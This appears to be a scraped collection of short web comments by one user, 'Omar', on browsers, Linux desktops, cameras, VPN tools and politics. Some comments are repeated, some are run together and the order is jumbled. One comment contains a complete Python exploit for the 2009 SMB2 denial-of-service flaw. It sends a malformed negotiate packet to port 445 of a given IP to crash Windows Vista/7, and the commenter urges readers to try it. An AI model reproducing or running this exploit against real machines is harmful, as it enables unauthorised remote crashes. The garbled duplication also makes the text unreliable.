Upgrading Microsoft Internet Explorer is a pain. IE6, 7 and 8 are completely different products. Why I could never upgrading a complete operating system convert my IE6 to IE7 or 8? You had to install them independently. That only speaks of a poor strategy and product, a complete shame.
Oh, and at work we have providers who developed extranets using Microsoft technologies that worked in IE 7, but then came IE8 and they are incompatible. Microsoft is incompatible with themselves.
I only lament that because of my work I have to support the Explorer navigator, the worst experience.
If I buy, let's say, a t-shirt, I expect it to be defects free, otherwise, I'd not buy it or would have it changed. So, is Windows 7 defect free?
Let's see, just try this script in the party to check if Windows 7 is a good new product, the parameter is the ip of the happy windows 7: (adapted from http://seclists.org/fulldisclosure/2009/Sep/0039.html )
------begin--------- #!/usr/bin/python # When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a # PAGE_FAULT_IN_NONPAGED_AREA from socket import socket from time import sleep import socket import sys
ip = sys.argv[1] host = ip, 445 buff = ( "\x00\x00\x00\x90" # Begin SMB header: Session message "\xff\x53\x4d\x42" # Server Component: SMB "\x72\x00\x00\x00" # Negociate Protocol "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853 "\x00\x26"# Process ID High: -->:) normal value should be "\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe" "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54" "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31" "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00" "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57" "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61" "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c" "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c" "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e" "\x30\x30\x32\x00"
If the script works, vista dies and it means Microsoft has again released a brand new product with an important bug. Please, it's time to ask Microsoft to release secure products. Believe it or not, I plan to use Windows 7 at some point and want it to be a good O.S.
Omar
PS. The script was tested on MacOS 10.6, but should work on Linux too.
I tried hard to use Gnome 2.6 as my primary desktop, but I gave up in favor of KDE. Some reasons:
-Too slow -not so well integrated -doesn't feel a unified system(shortcuts, menus, etc) -Again, too slow. Every release it gets slower.
The have changed enlightenment for sawfish, then for the actual wm. The same happened for the file manager: gmc, then nautilus And for the browser: galeon, nautilus, epiphany, now mozilla? A very poor control center. Example: try to add virtual desktops from the control center. It's impossible, it's hidden in the desktops applets. It's a mess, since the people funding the project dedicated to other things, Gnome seems to have lost direction. To me, Gnome is just a desktop bar, all the enviroment and other apps doesn't feel really integrated.
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With my vote.
The Mayas are training for Dec. 2012.
Heisenbergh would be very upset!
Upgrading Microsoft Internet Explorer is a pain. IE6, 7 and 8 are completely different products.
Why I could never upgrading a complete operating system convert my IE6 to IE7 or 8? You had to install them independently.
That only speaks of a poor strategy and product, a complete shame.
Oh, and at work we have providers who developed extranets using Microsoft technologies that worked in IE 7, but then came IE8 and they are incompatible. Microsoft is incompatible with themselves.
I only lament that because of my work I have to support the Explorer navigator, the worst experience.
Omar
If I buy, let's say, a t-shirt, I expect it to be defects free, otherwise, I'd not buy it or would have it changed.
:) normal value should be "\x00\x00"
So, is Windows 7 defect free?
Let's see, just try this script in the party to check if Windows 7 is a good new product, the parameter is the ip of the happy windows 7:
(adapted from http://seclists.org/fulldisclosure/2009/Sep/0039.html )
------begin---------
#!/usr/bin/python
# When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep
import socket
import sys
ip = sys.argv[1]
host = ip, 445
buff = (
"\x00\x00\x00\x90" # Begin SMB header: Session message
"\xff\x53\x4d\x42" # Server Component: SMB
"\x72\x00\x00\x00" # Negociate Protocol
"\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
"\x00\x26"# Process ID High: -->
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
"\x30\x30\x32\x00"
)
sock = socket.socket()
sock.connect(host)
sock.send(buff)
print sock.recv(8192)
sock.close()
</pre>
If the script works, vista dies and it means Microsoft has again released a brand new product with an important bug.
Please, it's time to ask Microsoft to release secure products. Believe it or not, I plan to use Windows 7 at some point and want it to be a good O.S.
Omar
PS. The script was tested on MacOS 10.6, but should work on Linux too.
Would it have mind and soul? Omar
Check http://www.i-doit.org/, it works very well for me and is CMDB compatible. Omar
In fact the virus has genes from Asia, Europe and North America, so we should call it "global flu". Omar
Real men use emacs.
Will they have his own Clark Kent? Omar
I live in Mexico City, Enciclomedia has been used since 2 or 3 years ago.
Omar
This is a commercial, not a serious article.
Show an application doing all that Ensim or Plesk do in a better way and we will believe it.
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I'm at home. Will you stop declaring wars for oil?
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Gringos, sign the Kioto Protocol!
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They also changed directives: http://konicaminolta.com/releases/2006/0119_04_01. html
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As long as lens and accesories compatibility continues I dont have any problem.
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Nikon and Canon are eating the market. I hope Pentax dont leave also, because I just bought a Pentax *ist DSLR.
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I've seen such elevators in Mexico City since a few years ago.
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This is a must for real end users(mom and dad) change to Linux.
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Please be fair, Elektro doesn't deserve such a bad comparisson.
Omar
Kind with women, admired by gentlemen.
This robot is my hero!
Omar
Here's a picture:h tm
http://www.davidszondy.com/future/robot/elektro1.
Omar
I tried hard to use Gnome 2.6 as my primary desktop, but I gave up in favor of KDE.
Some reasons:
-Too slow
-not so well integrated
-doesn't feel a unified system(shortcuts, menus, etc)
-Again, too slow. Every release it gets slower.
The have changed enlightenment for sawfish, then for the actual wm.
The same happened for the file manager: gmc, then nautilus
And for the browser: galeon, nautilus, epiphany, now mozilla?
A very poor control center. Example: try to add virtual desktops from the control center. It's impossible, it's hidden in the desktops applets.
It's a mess, since the people funding the project dedicated to other things, Gnome seems to have lost direction.
To me, Gnome is just a desktop bar, all the enviroment and other apps doesn't feel really integrated.
Omar
Userland tools of Freeswan and derivatives can be used with 2.6 ipsec native stack.
Personally, I have found easier and more mature the Freeswan tools than the the ipsec-tools.
Omar
Strongswan has been mucho more active since Freeswan dead. Also has more features. Why not to go for Strongswan instead of Freeswan?
Omar